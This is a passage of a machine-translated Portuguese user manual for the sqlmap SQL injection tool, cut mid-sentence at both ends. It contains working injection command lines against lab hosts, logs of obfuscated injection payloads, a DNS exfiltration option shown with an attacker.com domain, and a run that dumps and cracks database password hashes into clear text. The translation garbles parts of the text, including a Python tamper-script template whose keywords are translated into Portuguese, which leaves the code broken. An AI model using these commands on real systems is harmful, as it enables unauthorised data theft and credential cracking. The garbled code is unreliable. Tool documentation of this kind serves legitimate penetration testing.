20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Cada solicitação de tal execução irá reavaliar o valor do parâmetro GET hash para conter um
novo MD5 hash digest para o valor atual do parâmetro id .

Otimização

Esses switches podem ser usados para otimizar o desempenho do sqlmap.

Otimização do pacote
Interruptor: -o

Esse alternar é um alias que implícitamente define as seguintes opções e opções:

--keep-alive

--null-connection

--threads=3 Se não estiver definido para um valor mais alto.

Leia abaixo para obter detalhes sobre cada switch.

Previsão de saída
Interruptor: --predict-output

Este parâmetro é usado no algoritmo de inferência para a previsão estatística seqüencial de


caracteres de valor sendo recuperados. A tabela estatística com os valores de caráter mais
promissores está sendo construída com base em itens dados em txt/common-
outputs.txt combinação com o conhecimento da enumeração atual utilizada. No caso em que o
valor pode ser encontrado entre os valores de saída comuns, à medida que o processo progride,
as tabelas de caracteres subseqüentes estão sendo reduzidas cada vez mais. Se usado em
combinação com a recuperação de entidades comuns de SGBD, como com nomes de tabelas do
sistema e privilégios, a aceleração é significativa. Claro, você pode editar o arquivo de saídas
comuns de acordo com suas necessidades se, por exemplo, você notar padrões comuns em
nomes de tabela de banco de dados ou similar.

Observe que esse alternar não é compatível com --threads alternar.

HTTP Keep-Alive
Interruptor: --keep-alive

Esse switch instrui o sqlmap a usar conexões persistentes de HTTP (s).

Observe que esse alternar é incompatível com --proxy alternar.

Conexão HTTP NULL


Interruptor: --null-connection

Existem tipos de solicitação HTTP especiais que podem ser usados para recuperar o tamanho da
resposta HTTP sem obter o corpo HTTP. Este conhecimento pode ser usado na técnica de injeção
cega para distinguir True das False respostas. Quando essa opção é fornecida, o sqlmap
tentará testar e explorar duas técnicas diferentes de conexão NULL : Range e HEAD . Se qualquer
um destes é suportado pelo servidor web alvo, acelerar virá a partir da economia óbvia de largura
de banda utilizada.

Essas técnicas são detalhadas no white paper Bursting Performances em Blind SQL Injection -
Take 2 (Bandwidth) .

Observe que esse alternar é incompatível com alternar --text-only .

Solicitações simultâneas HTTP (S)


Opção: --threads

É possível especificar o número máximo de solicitações simultâneas HTTP (S) que sqlmap tem
permissão para fazer. Esse recurso se baseia no conceito multi-threading e herda tanto o seu
profissional quanto o seu contra.

Esses recursos se aplicam aos comutadores de força bruta e quando a busca de dados é feita
através de qualquer técnica de injeção SQL cega. Para o último caso, sqlmap primeiro calcula o
comprimento da saída da consulta em um único segmento e, em seguida, inicia o multi-threading.
Cada thread é atribuído para recuperar um caractere da saída da consulta. O segmento termina
quando esse caractere é recuperado - ele leva até 7 solicitações HTTP (S) com o algoritmo de
bissecção implementado em sqlmap.

O número máximo de solicitações simultâneas é definido como 10 para desempenho e razões de


confiabilidade do site.

Note que esta opção não é compatível com a opção --predict-output .

Injeção
Essas opções podem ser usadas para especificar quais parâmetros testar, fornecer cargas úteis
de injeção personalizada e scripts de adulteração opcionais.

Parâmetro (s) testável (s)


Opções: -p , --skip e --param-exclude

Por padrão, o sqlmap testa todos os parâmetros GET e POST. Quando o valor de --level é> = 2,
ele também testa os Cookie valores de cabeçalho HTTP . Quando esse valor é> = 3, ele também
testa os valores de cabeçalho HTTP User-Agent e HTTP Referer para injeções SQL. No
entanto, é possível especificar manualmente uma lista separada por vírgulas de parâmetro (s) que
você deseja sqlmap para testar. Isso irá ignorar a dependência do valor de --level também.

Por exemplo, para testar o parâmetro GET id e User-Agent somente para HTTP , forneça -p
"id,user-agent" .

No caso de que o usuário deseja excluir determinados parâmetros do teste, ele pode usar a opção
--skip . Isso é especialmente útil nos casos em que você deseja usar um valor maior para --
level e testar todos os parâmetros disponíveis, exceto alguns dos cabeçalhos HTTP
normalmente testados.

Por exemplo, para ignorar o teste de cabeçalho HTTP User-Agent e cabeçalho HTTP
Referer em --level=5 , forneça --skip="user-agent,referer" .

Existe também a possibilidade de excluir determinados parâmetros do teste com base em uma
expressão regular executada em seus nomes. Nesses tipos de casos, o usuário pode usar a
opção --param-exclude .

Por exemplo, para ignorar o teste de parâmetros que contêm string token ou session em seus
nomes, forneça --param-exclude="token|session" .

Ponto de injeção URI

Há casos especiais quando o ponto de injeção está dentro da própria URI. Sqlmap não executa
qualquer teste automático contra caminhos URI, a menos que apontado manualmente para. Você
precisa especificar esses pontos de injeção na linha de comando adicionando um asterisco ( * )
(Nota: o estilo %INJECT HERE% Havij também é suportado) após cada ponto URI que você deseja
que o sqlmap teste e explore uma injeção SQL.

Isso é particularmente útil quando, por exemplo, o módulo mod_rewrite do servidor web Apache
está em uso ou outras tecnologias similares.

Um exemplo de linha de comando válida seria:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"


Ponto de injecção arbitrária

Semelhante ao ponto de injeção de URI, asterisco ( * ) (Nota: estilo Havij %INJECT


HERE% também é suportado) também pode ser usado para apontar para o ponto de injeção
arbitrária dentro GET, POST ou cabeçalhos HTTP. Ponto de injeção pode ser especificado por
marcá-lo dentro do valor (s) parâmetro GET fornecida com a opção -u , o valor do parâmetro
POST (s) fornecida com a opção --data , o valor (s) cabeçalho HTTP fornecido com opções -H ,
--headers , --user-agent , --referer e / ou --cookie , ou no local de genéricos Dentro do
pedido HTTP carregado do arquivo com a opção -r .

Um exemplo de linha de comando válida seria:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

Forçar o SGBD
Opção: --dbms

Por padrão, o sqlmap detecta automaticamente o sistema de gerenciamento de banco de dados


de back-end da aplicação web. O sqlmap suporta totalmente os seguintes sistemas de
gerenciamento de banco de dados:

MySQL
Oráculo
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
HSQLDB
Informix

Se, por alguma razão, o sqlmap não detectar o SGBD back-end, uma vez que uma injeção SQL foi
identificada ou se você quiser evitar uma impressão ativa, você pode fornecer o nome do próprio
SGBD de back-end postgresql . Para o MySQL e Microsoft SQL Server fornecê-los,
respectivamente, no formulário MySQL <version> e Microsoft SQL Server <version> , onde
<version> é uma versão válida para o DBMS; Por exemplo 5.0 para o MySQL e 2005 para o
Microsoft SQL Server.

No caso de você fornecer juntamente --fingerprint com --dbms , sqlmap só irá realizar a
impressão digital extensa para o sistema de gerenciamento de banco de dados especificado
apenas, leia abaixo para obter mais detalhes.

Observe que essa opção não é obrigatória e é altamente recomendável usá-lo somente se tiver
certeza absoluta sobre o sistema de gerenciamento de banco de dados back-end. Se você não
sabe, deixe sqlmap automaticamente fingerprint ele para você.

Forçar o nome do sistema operacional do sistema de gerenciamento de


banco de dados
Opção: --os

Por padrão, o sqlmap detecta automaticamente o sistema de gerenciamento de banco de dados


de back-end do sistema operacional subjacente ao sistema operacional quando essa informação
é uma dependência de qualquer outro switch ou opção fornecidos. No momento, os sistemas
operacionais totalmente suportados são:

Linux
janelas
É possível forçar o nome do sistema operacional se você já sabe que sqlmap irá evitar fazê-lo em
si.

Observe que essa opção não é obrigatória e é altamente recomendável usá-lo somente se tiver
certeza absoluta sobre o sistema de gerenciamento de banco de dados back-end do sistema
operacional. Se você não sabe, deixe sqlmap identificá-lo automaticamente para você.

Forçar o uso de números grandes para invalidar valores


Interruptor: --invalid-bignum

Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de grandes valores
inteiros para cumprir a mesma meta (por exemplo id=99999999 ).

Forçar o uso de operações lógicas para invalidar valores


Interruptor: --invalid-logical

Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de operações booleanas
para cumprir a mesma meta (por exemplo id=13 AND 18=19 ).

Forçar o uso de strings aleatórias para invalidar valores


Interruptor: --invalid-string

Nos casos em que o sqlmap necessita invalidar o valor original do parâmetro (eg id=13 ) usa a
negação clássica (eg id=-13 ). Com esta opção é possível forçar o uso de seqüências aleatórias
para cumprir a mesma meta (por exemplo id=akewmc ).

Desativar mecanismo de vazamento de carga útil


Interruptor: --no-cast

Ao recuperar resultados, sqlmap usa um mecanismo onde todas as entradas estão sendo
moldadas para tipo de seqüência de caracteres e substituídas por um caractere de espaço em
branco no caso de NULL valores. Isso está sendo feito para evitar estados errôneos (por exemplo,
concatenação de NULL valores com valores de string) e facilitar o processo de recuperação de
dados em si. No entanto, há casos relatados (eg versões mais antigas do MySQL DBMS) onde
este mecanismo precisava ser desligado (usando esse switch) por causa de problemas com a
recuperação de dados em si (por exemplo, os None valores são retornados ).

Desativar o mecanismo de escape de string


Interruptor: --no-escape

Nos casos em que o sqlmap precisa usar valores de string dentro de cargas úteis (por exemplo
SELECT 'foobar' ), esses valores são automaticamente escapados (ex SELECT
CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114) .). Isso está sendo feito por
causa de duas coisas: ofuscação de conteúdo de carga útil e evitar possíveis problemas com
mecanismos de escape de consulta (eg magic_quotes e / ou mysql_real_escape_string ) no
servidor back-end. O usuário pode usar este interruptor para desligá-lo (por exemplo, para reduzir
o tamanho da carga útil).

Carga útil da injeção personalizada


Opções: --prefix e --suffix

Em algumas circunstâncias, o parâmetro vulnerável só é explorável se o usuário fornecer um


sufixo específico para ser anexado à carga útil da injeção. Outro cenário em que essas opções
são úteis se apresenta quando o usuário já sabe que consulta a sintaxe e deseja detectar e
explorar a injeção SQL fornecendo diretamente um prefixo e sufixo de carga de injeção.

Exemplo de código-fonte vulnerável:


$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

Para detectar e explorar esta injeção SQL, você pode permitir que o sqlmap detecte os limites
(como na combinação do prefixo e sufixo de carga útil do SQL) durante a fase de detecção ou
forneça-os por conta própria.

Por exemplo:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\


?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

Isso resultará em todas as solicitações sqlmap para terminar em uma consulta da seguinte
maneira:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

O que torna a consulta sintaticamente correta.

Neste exemplo simples, o sqlmap pode detectar a injeção SQL e explorá-la sem necessidade de
fornecer limites personalizados, mas às vezes no aplicativo real é necessário fornecê-lo quando o
ponto de injeção está dentro de consultas aninhadas, JOIN por exemplo.

Dados de injeção de Tamper


Opção: --tamper

Sqlmap em si não faz ofuscação da carga útil enviada, exceto para strings entre aspas simples
CHAR() substituídas por sua representação -alike.

Esta opção pode ser muito útil e poderosa em situações onde há um mecanismo de validação de
entrada fraca entre você e o sistema de gerenciamento de banco de dados back-end. Esse
mecanismo normalmente é uma rotina de validação de entrada auto-desenvolvida chamada pelo
código-fonte do aplicativo, um dispositivo IPS de nível corporativo caro ou um firewall de
aplicativo da Web (WAF). Todos os buzzwords para definir o mesmo conceito, implementado de
forma diferente e custa muito dinheiro, normalmente.

Para aproveitar esta opção, forneça sqlmap com uma lista separada por vírgulas de scripts de
adulteração e isso processará a carga útil e o transformará. Você pode definir seus próprios
scripts de adulteração, usar os sqlmap da tamper/ pasta ou editá-los, contanto que os
concatene coma separados como valor da opção --tamper (ex --
tamper="between,randomcase" .).

O formato de um script de violação inválido é o seguinte:

# Importações necessárias
de lib.core.enums importar PRIORIDADE

# Definir qual é a ordem de aplicação de scripts de violação contra


# a carga
__priority__ = PRIORITY . NORMAL

Def tamper ( payload ):


'' '
Descrição de seu script de adulteração
' ''

RetVal = carga útil

# Seu código para modificar a carga original

# Retornar o payload adulterado


retorno retVal

Você pode tamper/ verificar scripts inválidos e utilizáveis no diretório.


Exemplo contra um alvo MySQL > assumindo que caracteres, espaços e SELECT cadeia de
caracteres são banidos:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\


tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters


[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]

Detecção
Essas opções podem ser usadas para personalizar a fase de detecção.

Nível
Opção: --level

Esta opção requer um argumento que especifica o nível de testes a executar. Existem cinco
níveis. O valor padrão é 1, onde é realizado um número limitado de testes (solicitações). Vice-
versa, nível 5 irá testar verbosely para um número muito maior de cargas e limites (como em par
de SQL carga útil prefixo e sufixo). As cargas úteis utilizadas pelo sqlmap são especificadas no
arquivo de texto xml/payloads.xml . Seguindo as instruções no topo do arquivo, se sqlmap
perde uma injeção, você deve ser capaz de adicionar sua própria carga (s) para testar também!

Não só essa opção afeta a carga útil que o sqlmap tenta, mas também os pontos de injeção que
são tomados no exame: os parâmetros GET e POST sempre são testados, os valores de
cabeçalho de cookie HTTP são testados a partir do nível 2 e o valor do HTTP User-Agent / Referer
é testado a partir de Nível 3 .

Em suma, quanto mais difícil for detectar uma injeção SQL, maior --level será o valor a ser
definido.

É altamente recomendável aumentar esse valor antes de informar à lista de e-mails que o sqlmap
não consegue detectar um determinado ponto de injeção.

Risco
Opção: --risk

Esta opção requer um argumento que especifique o risco de realização de testes. Há três valores
de risco. O valor padrão é 1, o que é inócuo para a maioria dos pontos de injeção SQL. O valor de
risco 2 adiciona ao nível padrão os testes para injeções SQL pesadas baseadas em tempo de
consulta eo valor 3 adiciona também OR testes de injeção SQL baseados.

Em alguns casos, como uma injeção SQL em uma UPDATE instrução, a injeção de uma OR carga
útil pode levar a uma atualização de todas as entradas da tabela, o que certamente não é o que o
invasor deseja. Por esta razão e outros esta opção foi introduzida: o usuário tem controle sobre
quais cargas são testadas, o usuário pode arbitrariamente escolher usar também potencialmente
perigosas. Conforme a opção anterior, as cargas úteis utilizadas pelo sqlmap são especificadas
no arquivo de texto xml/payloads.xml e você está livre para editar e adicionar seus próprios .
Comparação de páginas
Opções: --string , --not-string , --regexp e --code

Por padrão, a distinção de uma True consulta de False um (conceito aproximado por trás das
vulnerabilidades de injeção SQL cego com base em booleanos) é feita comparando o conteúdo
da página de solicitações injetadas com o conteúdo da página original não injetado. Nem sempre
esse conceito funciona, porque às vezes o conteúdo da página muda a cada atualização, mesmo
não injetando nada, por exemplo, quando a página tem um contador, um banner publicitário
dinâmico ou qualquer outra parte do HTML que é renderizada dinamicamente e pode mudar no
tempo não apenas Conseqüentemente à entrada do usuário. Para ignorar esse limite, o sqlmap
tenta identificar esses fragmentos dos corpos de resposta e lidar adequadamente. Às vezes, ele
pode falhar, por isso o usuário pode fornecer uma string ( --string opção), que deve estar
presente na página inicial (embora não seja um requisito) e em todos os verdadeiros injectado
páginas de consulta, mas que é não sobre os falsos. Em vez de seqüência estática, o usuário
pode fornecer uma expressão regular ( --regexp opção). Como alternativa, o usuário pode
fornecer uma seqüência de caracteres ( --not-string opção) que não está presente na página
original e não em todas as páginas de consulta Injectadas True, mas aparece sempre em False.

Esses dados são fáceis para um usuário recuperar, basta tentar injetar no parâmetro afetado um
valor inválido e comparar manualmente o conteúdo da página original (não injetado) com o
conteúdo da página errada injetada. Desta forma, a distinção será baseada na presença de
cadeias ou na expressão regular.

Nos casos em que o usuário sabe que a distinção de uma True consulta de False um pode ser
feita usando o código HTTP (por exemplo, 200 para True e 401 para False ), ele pode fornecer
essa informação para sqlmap (por exemplo --code=200 ).

Comutadores: --text-only e --titles

Nos casos em que o usuário sabe que a distinção de uma True consulta de False um pode ser
feita usando o título HTML (por exemplo, Welcome para True e Forbidden para False ), ele
pode ativar a comparação baseada em título usando switch --titles .

Em casos com muito conteúdo ativo (por exemplo, scripts, embeds, etc.) no corpo das respostas
HTTP, você pode filtrar páginas (switch --text-only ) apenas para seu conteúdo textual. Desta
forma, em um bom número de casos, você pode ajustar automaticamente o mecanismo de
detecção.

Técnicas

Essas opções podem ser usadas para ajustar testes de técnicas de injeção SQL específicas.

Técnicas de injeção SQL para testar


Opção: --technique

Essa opção pode ser usada para especificar o tipo de injeção SQL a ser testada. Por padrão
sqlmap testes para todos os tipos / técnicas que suporta.

Em determinadas situações, você pode querer testar apenas para um ou poucos tipos específicos
de injeção SQL pensamento e é aqui que esta opção entra em jogo.

Esta opção requer um argumento. Tal argumento é uma string composta por qualquer
combinação de B , E , U , S , T e Q personagens, onde cada letra representa uma técnica
diferente:

B : Cego baseado em booleano

E : Baseado em erro

U : União baseada em consulta

S : Consultas empilhadas

T : Tempo cego

Q : Inline queries
Por exemplo, você pode fornecer ES se você deseja testar e explorar apenas os tipos de injeção
SQL baseados em erro e empilhados. O valor padrão é BEUSTQ .

Observe que a seqüência de caracteres deve incluir empilhados consultas técnica carta,,
S quando você deseja acessar o sistema de arquivos, aquisição do sistema operacional ou
acessar o registro do Windows colmeia.

Segundos para atrasar a resposta DBMS para injeção SQL cego baseado no
tempo
Opção: --time-sec

É possível definir os segundos para atrasar a resposta ao testar a injeção SQL cego com base no
tempo, fornecendo a --time-sec opção seguida por um inteiro. Por padrão, seu valor é definido
como 5 segundos .

Número de colunas na consulta UNION Injeção SQL


Opção: --union-cols

Por padrão sqlmap testes para UNION consulta SQL injeção técnica usando 1 a 10 colunas. No
entanto, este intervalo pode ser aumentado até 50 colunas, fornecendo um --level valor maior .
Veja o parágrafo relevante para mais detalhes.

Você pode informar manualmente sqlmap para testar este tipo de injeção SQL com um intervalo
específico de colunas, fornecendo a ferramenta com a opção --union-cols seguida por um
intervalo de inteiros. Por exemplo, 12-16 significa testes para injeção SQL de consulta de UNION
usando 12 até 16 colunas.

Caractere a ser usado para testar a consulta UNION SQL injeção


Opção: --union-char

Por padrão sqlmap testes para UNION consulta SQL injeção técnica usando NULL caracteres. No
entanto, fornecendo um --level valor mais alto sqlmap irá realizar testes também com um
número aleatório, porque há alguns casos de canto onde os testes de consulta UNION com
NULL falha, enquanto que com um inteiro aleatório eles terão sucesso.

Você pode informar manualmente sqlmap para testar este tipo de injeção SQL com um caractere
específico usando a opção --union-char com o valor de caractere desejado (ex --union-char
123 .).

Tabela a ser usada na parte FROM da injeção de SQL de consulta UNION


Opção: --union-from

Em alguns casos de injeção de SQL de consulta do UNION há uma necessidade de impor o uso
do nome de tabela válido e acessível na FROM cláusula. Por exemplo, o Microsoft Access requer o
uso dessa tabela. Sem fornecer uma consulta UNION SQL injeção não será capaz de executar
corretamente (por exemplo --union-from=users ).

Ataque de exfiltração de DNS


Opção: --dns-domain

O ataque de injeção de SQL de exfiltração de DNS é descrito no documento Recuperação de


Dados sobre DNS em Ataques de Injeção de SQL , enquanto a apresentação da sua
implementação dentro de sqlmap pode ser encontrada em slides de exfiltração de DNS usando
sqlmap .

Se o usuário estiver controlando uma máquina registrada como um servidor de domínio DNS (por
exemplo, domínio attacker.com ), ele pode ativar esse ataque usando esta opção (ex --dns-
domain attacker.com .). Pré-requisitos para que ele funcione é executar um sqlmap com
Administrator privilégios (uso de porta privilegiada 53 ) e que uma técnica normal (cego) está
disponível para exploração. Isso é apenas o propósito deste ataque é acelerar o processo de
recuperação de dados no caso de pelo menos uma técnica ter sido identificada (no melhor dos
casos, tempo cego). No caso de que o erro baseado em blind ou UNION técnicas de consulta
estão disponíveis, será ignorado como aqueles são preferidos por padrão.

Ataque de segunda ordem


Opção: --second-order

O ataque de injeção SQL de segunda ordem é um ataque onde o resultado de uma carga útil
injetada em uma página vulnerável é mostrado (refletido) na outra (por exemplo, quadro).
Normalmente isso está acontecendo por causa do armazenamento de banco de dados de
entrada fornecida pelo usuário na página vulnerável original.

Você pode informar manualmente sqlmap para testar esse tipo de injeção SQL usando a opção -
-second-order com o endereço URL da página da Web onde os resultados estão sendo
mostrados .

Impressão digital

Impressões digitais do sistema de gerenciamento de banco de dados


extensivo
Comutadores: -f ou --fingerprint

Por padrão, a impressão digital do sistema de gerenciamento de banco de dados back-end da


aplicação web é tratada automaticamente pelo sqlmap. Logo após a fase de detecção terminar eo
usuário é eventualmente solicitado com uma escolha de qual parâmetro vulnerável para usar
mais, sqlmap fingerprints o sistema de gerenciamento de banco de dados back-end e continua
com a injeção por saber qual sintaxe SQL, dialeto e consultas para usar Para prosseguir com o
ataque dentro dos limites da arquitetura de banco de dados.

Se, para qualquer instância que você deseja executar uma impressão de sistema de
gerenciamento de banco de dados extensiva com base em várias técnicas, como dialetos SQL
específicos e mensagens de erro inband, você pode fornecer o switch --fingerprint . Sqlmap
executará muito mais pedidos e impressões digitais a versão exata de DBMS e, quando possível,
sistema operacional, arquitetura e nível de remendo.

Se você quiser que a impressão digital seja um resultado ainda mais preciso, você também pode
fornecer o switch -b ou --banner .

Enumeração

Essas opções podem ser usadas para enumerar as informações do sistema de gerenciamento de
banco de dados back-end, estrutura e dados contidos nas tabelas. Além disso, você pode
executar suas próprias instruções SQL.

Recuperar tudo
Interruptor: --all

Este switch pode ser usado em situações onde o usuário deseja recuperar tudo remotelly
acessível usando um único switch. Isto não é recomendado, uma vez que irá gerar um grande
número de pedidos de recuperação de dados úteis e inútil.

Bandeira
Alternar: -b ou --banner

A maioria dos modernos sistemas de gerenciamento de banco de dados tem uma função e / ou
uma variável de ambiente que retorna a versão do sistema de gerenciamento de banco de dados
e eventualmente detalhes sobre seu nível de patch, o sistema subjacente.
version() Normalmente a função é ea variável de ambiente é @@version , mas isso varia
dependendo do SGBD de destino.

Exemplo contra um destino Oracle:


$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Usuário da sessão
Interruptor: --current-user

Com esta opção é possível recuperar o usuário do sistema de gerenciamento de banco de dados
que está efetivamente executando a consulta contra o back-end DBMS a partir da aplicação web.

Banco de dados atual


Interruptor: --current-db

Com essa opção, é possível recuperar o nome do banco de dados do sistema de gerenciamento
de banco de dados ao qual o aplicativo da Web está conectado.

Nome do host do servidor


Interruptor: --hostname

Com essa opção, é possível recuperar o nome de host do sistema de gerenciamento de banco de
dados.

Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\


hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'

Detectar se o usuário da sessão é ou não um administrador de banco de


dados
Interruptor: --is-dba

É possível detectar se o usuário atual da sessão do sistema de gerenciamento de banco de dados


é um administrador de banco de dados, também conhecido como DBA. Sqlmap retornará
True se for, vice-versa False .

Lista de usuários do sistema de gerenciamento de banco de dados


Interruptor: --users

Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar a lista de usuários.

Listar e crack sistema de gerenciamento de banco de dados usuários hashes


senha
Interruptor: --passwords

Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre senhas dos usuários do SGBD, é possível enumerar os hashes de senha para cada usuário
do sistema de gerenciamento de banco de dados. Sqlmap primeiro irá enumerar os usuários, em
seguida, os hashes de senha diferente para cada um deles.

Exemplo contra um destino PostgreSQL:


$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

Não apenas o sqlmap enumerou os usuários do DBMS e suas senhas, mas também reconheceu o
formato de hash para ser o PostgreSQL, perguntou ao usuário se deve ou não testar os hashes
contra um arquivo de dicionário e identificou a senha de texto claro para o postgres usuário, Um
DBA ao longo do outro usuário testuser , senha.

Este recurso foi implementado para todos os DBMS onde é possível enumerar os hashes de
senhas dos usuários, incluindo Oracle e Microsoft SQL Server pré e pós 2005.

Você também pode fornecer a opção -U para especificar o usuário específico que você deseja
enumerar e, eventualmente, quebrar a senha hash (es). Se você fornecer CU como nome de
usuário ele irá considerá-lo como um alias para o usuário atual e irá recuperar a senha hash (es)
para este usuário.

Listar os privilégios dos usuários do sistema de gerenciamento de banco de


dados
Interruptor: --privileges

Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar os privilégios para cada usuário do sistema de
gerenciamento de banco de dados. Por privilégios, sqlmap também mostrará quais são os
administradores de banco de dados.

Você também pode fornecer a opção -U para especificar o usuário que você deseja enumerar os
privilégios.

Se você fornecer CU como nome de usuário, ele o considerará como um alias para o usuário
atual e enumerará os privilégios para este usuário.

No Microsoft SQL Server, esse recurso mostrará se cada usuário é ou não um administrador de
banco de dados e não a lista de privilégios para todos os usuários.

Lista de funções de usuários do sistema de gerenciamento de banco de


dados
Interruptor: --roles

Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre os usuários do SGBD, é possível enumerar as funções para cada usuário do sistema de
gerenciamento de banco de dados.

Você também pode fornecer a opção -U para especificar o usuário que você deseja enumerar os
privilégios.

Se você fornecer CU como nome de usuário, ele o considerará como um alias para o usuário
atual e enumerará os privilégios para este usuário.
Esta funcionalidade só está disponível quando o DBMS é Oracle.

Listar bancos de dados do sistema de gerenciamento de banco de dados


Interruptor: --dbs

Quando o usuário de sessão tem acesso de leitura à tabela de sistema contendo informações
sobre bancos de dados disponíveis, é possível enumerar a lista de bancos de dados.

Enumerar tabelas do banco de dados


Interruptores e opção: --tables , --exclude-sysdbs e -D

Quando o usuário da sessão tem acesso de leitura à tabela do sistema contendo informações
sobre tabelas de bancos de dados, é possível enumerar a lista de tabelas para bancos de dados
de um sistema de gerenciamento de banco de dados específico.

Se você não fornecer um banco de dados -D específico com a opção , sqlmap irá enumerar as
tabelas para todos os bancos de dados DBMS.

Você também pode fornecer a opção --exclude-sysdbs para excluir todos os bancos de dados
do sistema.

Observe que no Oracle você precisa fornecer o TABLESPACE_NAME nome do banco de dados em
vez do.

Enumerar colunas da tabela de banco de dados


Switch e opções: --columns , -C , -T e -D

Quando o usuário de sessão tem acesso de leitura à tabela de sistema contendo informações
sobre tabelas do banco de dados, é possível enumerar a lista de colunas para uma tabela de
banco de dados específica. Sqlmap também enumera o tipo de dados para cada coluna.

Esse recurso depende da opção -T para especificar o nome da tabela e, opcionalmente, -D para
especificar o nome do banco de dados. Quando o nome do banco de dados não é especificado, o
nome do banco de dados atual é usado. Você também pode fornecer a -C opção para especificar
o nome das colunas da tabela como o que você forneceu para ser enumerado.

Exemplo contra um destino SQLite:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\


-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+

Note que no PostgreSQL você tem que fornecer public ou o nome de um banco de dados do
sistema. Isso é porque não é possível enumerar outras tabelas de bancos de dados, apenas as
tabelas sob o esquema que o usuário da aplicação web está conectado, que é sempre alias por
public .

Enumerar esquema de sistema de gerenciamento de banco de dados


Comutadores: --schema e --exclude-sysdbs

O usuário pode recuperar um esquema DBMS usando essa opção. A listagem do esquema
conterá todos os bancos de dados, tabelas e colunas, juntamente com seus respectivos tipos. Em
combinação com --exclude-sysdbs apenas parte do esquema contendo bancos de dados não-
sistema serão recuperados e mostrados.
Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\


chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
